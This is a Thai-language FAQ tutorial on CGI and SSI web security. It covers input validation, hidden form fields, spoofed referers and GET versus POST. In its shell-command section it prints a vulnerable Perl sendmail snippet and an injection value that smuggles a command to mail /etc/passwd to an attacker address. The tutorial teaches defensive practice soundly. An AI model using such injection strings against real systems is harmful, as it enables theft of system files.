ความปลอดภัยในระบบ CGI

 

ความปลอดภัยในระบบ CGI

CGI script เนี่ย ไม่ปลอดภัย จริงรึปล่าว?

CGI script มักจะเป็นช่องโหว่ ช่องใหญ่ที่พบเห็นกันใน host ส่วนมากทั่วๆไป เพราะว่า CGI (Common Gateway Interface) เปิดโอกาส ให้ผู้เยี่ยมชมเวปไซต์ ซึ่งอาจจะเป็นใครก็ไม่รู้ อยู่ที่ไหนก็ไม่รู้ในโลกนี้ เข้ามาใช้งานโปรแกรม ที่อยู่ใน host ได้.. ซึ่งปัญหาที่พบบ่อยๆ ก็คือช่องโหว่ ที่อยู่ในตัว CGI script เอง ที่เปิดโอกาสให้ ผู้ไม่หวังดี ได้เข้ามากระทำการมิดีมิร้าย กับ host นั้นๆ จึงเป็นเรื่องสำคัญที่ programmer ผู้เขียนโปรแกรม CGI script จะต้องระมัดระวังไว้ให้ดี

ไม่อยากจะบอกว่า มันไม่ปลอดภัยแต่ มันก็ค่อนข้างจะเป็นเช่นนั้น แต่ว่าเราก็สามารถ ป้องกันได้โดยการเพิ่ม ความรอบคอบในการเขียนโปรแกรม ให้มากขึ้น พยายามหา ข้อมูลเกี่ยวกับช่องโหว่ ใหม่ๆที่อาจจะเกิดขึ้นอยู่ตลอดเวลา

โดยส่วนตัว เท่าที่พบเห็นในวงการ เวปไซต์บ้านเรา Server ที่ให้บริการ ฟรีโฮมเพจ และเปิดให้สมาชิกใช้ CGI Script ได้นั้น มักจะเป็นกลุ่มแรกๆที่ วูบดับไปก่อนวันอันควร เนื่องจากมีผู้ไม่หวังดี หรือหวังธรรมดาแต่รู้เท่าไม่ถึงการ เขียน CGI Script ที่ทำให้ เกิดผลอันตรายกับ Server ขึ้น ซึ่งก็ส่งผลให้แววรุ่งที่เคยมีมา กลับกลายเป็นแววร่วง ไปในไม่ช้า...

แล้ว SSI (Server Side Include) หละ ไม่ปลอดภัยด้วย รึปล่าว?

SSI เป็นชุดคำสั่งส่วนหนึ่งที่แปะอยู่ใน html ซึ่ง Server จะนำไปประมวลผล ซึ่ง ก็เป็นอีกช่องโหว่หนึ่ง ที่อาจจะเป็นช่องทางในการกลั่นแกล้งได้เหมือนกัน เพราะว่า บางคำสั่งของคำสั่ง SSI เป็นการสั่งงานให้ Server ทำการเรียกใช้งานโปรแกรม ในระบบ ถ้าหากว่าไม่คำนึงถึงจุดนี้ให้มาก ก็จะมีผลข้างเคียงที่ไม่ค่อยจะดีนักเกิดขึ้น ได้เช่นกัน..

อย่างเช่นคำสั่ง exec ใน SSI ซึ่งเปิดโอกาสให้ เอกสาร html สามารถไป เรียกใช้งานโปรแกรม ใน Server และนำผลลัพธ์ที่ได้นั้นมา แสดงผลเหมือนกับ แปะอยู่ในตัวเอกสาร html เอง... ลองนึกภาพคร่าวๆดูหากว่า คุณติดตั้ง script guestbook หรือ webboard ให้ผู้เยี่ยมชมเวปไซต์ (ซึ่งอาจจะเป็นใครก็ไม่รู้) เขียน html tag ลงใน guestbook หรือ webboard ของคุณได้ และตัว guestbook หรือ webboard ของคุณเก็บไว้ในเอกสาร shtml หรือเอกสาร นามสกุลอื่นๆ ที่ถูกกำหนดให้ SSI ทำงาน และมีคนมาเขียน ข้อมูลซึ่งเป็น tag SSI <!--#exec เรียกใช้โปรแกรมไม่พึงประสงค์ ขึ้นมา...

ในโปรแกรม Web Server บางโปรแกรม เปิดโอกาสให้ผู้ดูแลระบบสามารถ กำหนดไม่ให้ มีการเรียกใช้โปรแกรมในระบบ ผ่านทาง SSI ได้ ก็ลองตรวจสอบ ดูกับคู่มือการใช้งานโปรแกรม Web Server ที่คุณใช้อยู่ด้วยนะครับ

แล้วพวกโปรแกรม ที่เป็นลักษณะต้อง compile ก่อนเช่น โปรแกรมภาษา C จะปลอดภัยกว่าพวกโปรแกรม ที่เป็นลักษณะตัวแปล interpreter เช่น Perl รึปล่าว?

ถ้ามองในแง่ของลักษณะของโปรแกรม คำตอบจะเป็น "ใช่" เพราะว่าพวกโปรแกรม ที่เป็น ต้อง compile ก่อนให้เป็น binary เช่นโปรแกรมภาษา C นั้น ถ้าเราไม่ลืม เก็บ source code ของโปรแกรมไว้ใน Server มันจะเป็นการยากที่ ผู้ไม่ประสงค์ดี จะมาเห็น source code ของเรา ซึ่งจะนำไปสู่การ หาช่องโหว่ หาทางโจมตี ได้ แต่ถ้าเป็นภาษาที่เป็น interpreter เช่น Perl ถ้าหากว่า ตัว Web Server หรือ FTP Deamon หรืออะไรก็ตามที่เราอาจจะคาดไม่ถึง เปิดโอกาสให้ผู้เยี่ยมชม เห็นตัว source code ของเราได้ (เหมือนอย่างเช่น bug ใน IIS สมัยก่อน ที่ทำให้ สามารถอ่าน source code ของ ASP ได้) ก็อาจจะนำมาซึ่งการนำ source code ของเราไปใช้ในทางไม่พึงประสงค์ได้ ...

แต่ก็ไม่ใช่จะหมายความว่า มันจะปลอดภัยกว่าในทุกๆด้านนะครับ ก็มีด้านที่ มีช่องโหว่ได้อยู่เหมือนกัน เช่น เนื่องจากความสลับซับซ้อน และเข้าถึงระบบได้มาก ของภาษา C ก็อาจจะส่งผลให้มี ช่องโหว่ หลงเหลืออยู่ในโปรแกรมเราได้มาก ในขณะที่ตัวภาษาที่เป็น interpreter เช่น Perl ได้จัดเตรียม function สำหรับ ทำงานต่างๆไว้ให้ programmer แล้ว และค่อนข้างจะมีความปลอดภัยอยู่แล้ว ซึ่งในจุดนี้ Perl จะปลอดภัยกว่า..

ผมเจอโปรแกรม CGI Script โปรแกรมนึง ซึ่งดูแล้วดีมากๆเลย น่าใช้.. ผมจะนำมันมาใช้ คุณว่า.. มันจะปลอดภัยรึปล่าว?

อืมๆ อย่าพึ่งแน่ใจอะไรว่ามันจะปลอดภัย ไม่มีช่องโหว่ ทางที่ดีที่สุดคือระมัดระวัง แล้วตรวจสอบก่อน ให้เข้าใจว่าโปรแกรมนั้นๆ มันจะทำงานอะไร และจะทำงาน อย่างไร ถ้าหากไม่แน่ในหรือ คิดว่าตัวเองมีประสบการณ์ หรือความเข้าใจ ไม่มากพอ ก็หาคนปรึกษาที่ไว้ใจได้ และปรึกษาได้มาจะดีที่สุด ..

สิ่งที่จะต้องนำมาใช้ในการพิจารณา โปรแกรม CGI Script
  • 1. มันซับซ้อนมากขนาดไหน? ยิ่งโปรแกรมใหญ่ และซับซ้อนมาก โดยไม่จำเป็น จะยิ่งนำมาซึ่งปัญหาในภายหลัง มากขึ้นเท่านั้น อาจจะมีช่องโหว่ ที่คุณมองข้าม หลบซ่อนอยู่ตรงไหน ซักจุดในโปรแกรมเหล่านั้นก็เป็นได้
  • 2. มันทำงานเกี่ยวกับ การเขียนหรืออ่านแฟ้มข้อมูล ในระบบมั๊ย? โปรแกรมที่ ทำงานเกี่ยวกับการอ่านแฟ้มข้อมูล อาจจะมีการทำงาน ที่ไปอ่านแฟ้มที่คุณ ไม่มีสิทธิในการอ่าน หรืออาจจะอ่านแฟ้มข้อมูล บางอย่างในระบบ แล้วส่งข้อมูล เหล่านั้นไปให้กับผู้ไม่ประสงค์ดีเท่าไหร่.. โปรแกรมที่ทำงานเกี่ยวกับการเขียน ข้อมูล ก็เช่นกัน อาจจะมีการเขียนแฟ้มข้อมูล ซึ่งไม่เป็นที่พึงประสงค์ ทำลายแฟ้มข้อมูล หรือเปลี่ยนแปลงข้อมูลใน แฟ้มข้อมูล ในกรณีที่เลวร้ายกว่านั้น ก็คือมีการทำงาน ในลักษณะของม้าไม้โทรจัน ซ่อนอยู่ในโปรแกรม ซึ่งคุณจะต้องตรวจสอบ ให้ดี ด้วยความรอบคอบ ว่าโปรแกรมเหล่านั้น อ่านและเขียน แฟ้มข้อมูลอะไร บ้างในระบบ..
  • 3. มันมีการติดต่อกับโปรแกรม อื่นๆที่มีอยู่ในระบบไหม? เช่นโปรแกรม CGI Script สำหรับส่ง e-mail ทำการเรียกใช้โปรแกรม sendmail ควรตรวจสอบให้ดีว่า มันมีการเรียกใช้โปรแกรม อื่นๆเหล่านั้น ด้วยความ น่าเชื่อถือมากน้อยแค่ไหน ควรทำความเข้าใจการใช้งาน ของโปรแกรมอื่นๆ เหล่านั้นให้มากด้วยเช่นกัน
  • 4. มันทำงานเกี่ยวกับการ suid (set-user-id) หรือไม่? ในจุดนี้ค่อนข้าง จะอันตรายอยู่พอสมควร Script ที่จะใช้งานส่วนนี้ได้ ควรจะมีเหตุผล ที่ดีพอ ที่เราจะนำมาใช้ เพราะอาจจะนำมาซึ่งผลที่คาดไม่ถึงก็เป็นได้ ไม่เช่นนั้น ก็เหมือนกับเป็นการเปิดช่องโหว่ ให้ใครก็ไม่รู้ สวมรอยเข้ามาเป็น user ใน ระบบได้ โดยอาการหนักเบา ของรูโหว่นั้นก็จะแตกต่างกันออกไป..
  • 5. โปรแกรมนั้นๆ ทำการตรวจสอบ ข้อมูลที่ได้รับมาจากผู้ใช้ก่อนหรือไม่? การตรวจสอบข้อมูล ที่ได้รับมาจากผู้ใช้ และประมวลผลให้แน่ใจก่อน ว่าจะ ไม่ส่งผลร้ายต่อระบบ เป็นสิ่งที่ควรจะกระทำมากที่สุด
  • 6. โปรแกรมนั้นๆ มีการอธิบาย และเขียนโปรแกรมในลักษณะ ที่ให้ความ กระจ่างกับเรา ในแง่ของการนำมาตรวจสอบ การทำงานหรือไม่ ถ้าผู้เขียนโปรแกรม เขียนโดยซ่อนความคลุมเครือไว้ เป็นที่น่าสงสัยว่า คำสั่งนี้ทำงานอะไร ทำไมแปลกจัง เรื่องพวกนี้เป็นเรื่องที่ควรจะนำมาพิจารณาด้วยเช่นกัน

ผมเป็นคนพัฒนาโปรแกรม CGI Script เอง มีเรื่องอะไรบ้าง เกี่ยวกับ ความปลอดภัย ที่ผมควรจะนำมาพิจารณา?

1. หลีกเลี่ยง การกระทำใดๆก็ตามที่จะทำให้ผู้เยี่ยมชม ทราบข้อมูลเกี่ยวกับ ระบบของเราให้มากที่สุด ถ้าไม่จำเป็นจะต้องให้เขาทราบ อย่างเช่นการเขียน CGI Script เพื่อเรียกใช้โปรแกรม finger ซึ่งจะทำให้ผู้เยี่ยมชม ซึ่งอาจจะ ไม่หวังดี สามารถเข้ามาดูข้อมูล เกี่ยวกับ user ที่ถูก finger ได้ เช่น home directory ของ user นั้นๆ หรืออย่างโปรแกรม w ที่แสดงข้อมูล เกี่ยวกับว่า มี user ใดกำลังทำงานอะไรอยู่ในระบบอยู่บ้าง หรืออย่างโปรแกรม ps ซึ่ง ให้ข้อมูลเกี่ยวกับ process ที่ทำงานอยู่ในระบบ ทำให้ใครก็ไม่รู้สามารถ มองเห็นได้ว่า Server ของเรานั้น มีโปรแกรมอะไรทำงานอยู่บ้าง มี Deamon ตัวไหนเปิดอยู่บ้าง.. ซึ่งก็อาจจะนำมาซึ่ง อะไรที่ไม่พึงประสงค์ได้เช่นกัน

2. ห้าม..เด็ดขาด ห้ามนำเอาข้อมูล ที่ได้จากผู้เยี่ยมชม ที่ยังไม่ได้ทำการ ตรวจสอบ ไปใช้เป็น shell command ยกตัวอย่าง ที่เป็นตัวอย่างที่ค่อนข้างเก่า อยู่ซักหน่อยนะครับ อย่างเช่น โปรแกรม Perl script ต่อไปนี้
$mail_to = &get_name_from_input; # read the address from form open (MAIL,"| /usr/lib/sendmail $mail_to"); print MAIL "To: $mailto\nFrom: me\n\nHi there!\n"; close MAIL;

จะทำการรับข้อมูล จากผู้ใช้มาไว้ในตัวแปร $mail_to แล้วนำไปส่งเป็น parameter ให้กับโปรแกรม sendmail.. ซึ่งก็ดูไม่มีอะไรน่าเป็นห่วง แต่ถ้าหากว่าผู้เยี่ยมชม (ซึ่งย้ำนะครับ ว่าเป็นใครก็ไม่รู้) ซึ่งคงไม่หวังดีมากนัก กรอกข้อมูลว่า..
nobody@nowhere.com;mail badguys@hell.org</etc/passwd;

จากการเรียกโปรแกรม sendmail ส่งจดหมายธรรมดา มันก็จะกลายเป็นการ พ่วงชุดคำสั่งอีกชุดหนึ่ง ต่อท้ายเข้ามาประมวลผล ให้ทำการส่งข้อมูลในแฟ้มข้อมูล /etc/passwd ไปให้ยังใครก็ไม่ทราบ ที่มี e-mail อยู่ที่ badguys@hell.org ซึ่งก็คงจะหวังดีกับเราอยู่พอสมควร ถึงขนาดมาเอาแฟ้มข้อมูลในระบบเราไป อ่านเล่น..

เพราะฉะนั้น ข้อมูลใดๆก็ตามที่ได้รับมาจาก ผู้เยี่ยมชม เราจะต้องนำมา ประมวลผลเสียก่อน เพื่อลดความเสียหาย อุดช่องโหว่ ที่อาจจะเกิดขึ้น กับระบบของเรา

ใครก็ตาม สามารถที่จะเข้าถึง เรียกใช้งาน โปรแกรม CGI Script ของผม ได้โดยผ่านทาง form ที่ผมจัดเตรียมไว้ให้ เท่านั้น ใช่มั๊ย?

ผิดถนัดครับ! ถึงแม้ว่าคุณจะสามารถกำหนดได้ว่า ผู้ที่จะเข้าถึงหรือเรียกใช้ งานโปรแกรม CGI Script ของคุณ จะต้องมาจาก IP address ที่กำหนด หรือ username และ password ที่กำหนดไว้ แต่คุณก็ไม่สามารถที่จะ ควบคุมได้เสมอไป ว่าโปรแกรมเหล่านั้น จะถูกเรียกใช้โดยวิธีการที่ถูกต้อง หรือวิธีการที่คุณจัดเตรียมไว้ให้ เท่านั้น! Script สามารถที่จะถูกเรียกได้ จากที่ไหนก็ได้ จาก form ใดๆก็ได้ ถ้าคุณไม่ได้กำหนดตรวจสอบไว้ ว่า Script นั้นถูกเรียกงานจาก form ที่คุณไม่ได้อนุญาตหรือไม่ ซึ่งก็อีกนั่นแหละ การตรวจ สอบจาก referer ก็ไม่สามารถจะแน่ใจได้เสมอไป ว่ามันจะให้ผลที่แน่นอน ผู้ไม่หวังดีอาจจะเขียนโปรแกรม จำลองการทำงาน Web Browser เพื่อ ทำการหลอก Script ของคุณว่ามาจาก referer ที่ถูกต้องได้ ก็เป็นได้ เหมือน เทคนิคที่โปรแกรมส่งเพจ หลายๆโปรแกรมนำมาใช้กัน เพื่อหลอกโปรแกรม Script ของเวปไซต์เพจเจอร์บางเจ้า อยู่ในขณะนี้...

เพราะฉนั้น อย่ามั่นใจ ว่าการเรียกใช้งาน Script ของคุณนั้น จะเกิดขึ้นจาก form ที่คุณจัดเตรียมไว้ให้เสมอไป..

ผู้เยี่ยมชมสามารถที่จะดู หรือเปลี่ยนแปลง ค่าที่กำหนดในตัวแปร "hidden" ใน form ได้หรือไม่?

ได้แน่นอนครับ วิธีดูก็ง่ายมาก เพียงแค่ใช้เมนู View source ซึ่งมีอยู่ แล้วใน Browser ที่นิยมใช้กันแทบทุกโปรแกรม ผู้เยี่ยมชมก็สามารถ จะเห็นข้อมูลที่อยู่ใน "hidden" ใน form ได้ ถ้ามีความรู้พื้นฐานเกี่ยวกับ HTML เพิ่มขึ้นอีกซักหน่อย เขาก็สามารถที่จะเปลี่ยนข้อมูลในจุดนี้ เพื่อ หลอกให้ Script ทำงานอะไรที่อาจจะไม่ดี ได้เช่นกัน

เพราะฉนั้น อย่ามั่นใจ เชื่อใจอะไรกับการซ่อนข้อมูลไว้ใน html form โดยใช้ input แบบ hidden...

ผมเห็นโปรแกรม CGI Script ที่แจกฟรี หลายๆโปรแกรม ที่มีการทำงาน ในลักษณะของการให้ผู้ใช้ กรอก username และ password เพื่อ ตรวจสอบสิทธิการใช้งาน และเมื่อตรวจพบว่าผู้ใช้ กรอก password ที่ถูกต้อง ตรงกับที่เก็บไว้ที่ server แล้ว ก็ทำการส่ง password นั้น กลับมาในรูปแบบของ form โดยใช้ input แบบ hidden เพื่อให้ผู้ใช้ สามารถที่จะไปยังส่วนอื่นๆของ Script ต่อไป โดยไม่ต้องมากรอก password อีก แต่ก็ยังนำเอา password ไปตรวจสอบได้ ซึ่งในส่วน นี้ก็อาจจะมีผลทำให้ ผู้ไม่ประสงค์ดี อาจจะมากด View source ตอน ที่ผู้ใช้ (ซึ่งอาจจะเป็นคุณเอง ที่เข้ามาดูแลระบบ) แล้วเห็น password นั้นๆได้ ..

การใช้ METHOD POST แทน GET ในการ submit form สามารถซ่อนข้อมูลได้มากกว่ากันมั๊ย?

ถ้าหากว่าเรามองในแง่มุมที่ว่า การใช้ METHOD GET ข้อมูลของ query จะปรากฎอยู่ใน server log และในช่อง location ของ browser และใน log ของ proxy ซึ่งใครๆก็สามารถที่จะเห็นมันได้ และใครๆนั้น เราก็ไม่สามารถที่จะเชื่อใจได้เช่นกัน การนำ METHOD POST มาใช้ จึงมีความปลอดภัยกว่าในแง่ที่ ข้อมูลต่างๆใน query จะไม่ปรากฎให้เห็น กันใน url ที่เรียกใช้ Script ไม่ว่าจะใน log ของ web server ใน log ของ proxy server ใน browser ของผู้ใช้

แต่ถ้าพิจารณาในแง่ของความปลอดภัยจริงๆ สองวิธีนี้ก็จะไม่แตกต่างกัน คือผู้ไม่หวังดีระหว่างทาง (ใน internet ทางระหว่างเรากับ Server นั้นอาจจะมีโจรดักอยู่ตรงไหนก็ได้ ตลอดทาง และโจรนั้นก็ไม่จำเป็น ต้องเอามีดมาจี้เรา เหมือนโจรมุมตึกในการ์ตูนขายหัวเราะ) สามารถที่จะ แอบอ่านข้อมูลต่างๆที่เรา sumbit ไปใน form ได้ไม่ยากนัก ถ้าเป็นการ ทำงานที่ต้องการให้มีความปลอดภัยสูงจริงๆ จึงต้องมีการนำเอากลไก ในการทำงานเกี่ยวกับระบบความปลอดภัย เช่น SSL หรือ SET มาใช้ เพื่อเพิ่มความน่าเชื่อถือ และความปอลดภัยให้กับข้อมูล ที่ส่งผ่านกัน ใน internet ระหว่าง browser และ server

 

ไปยังเนื้อหาส่วนถัดไป.. ->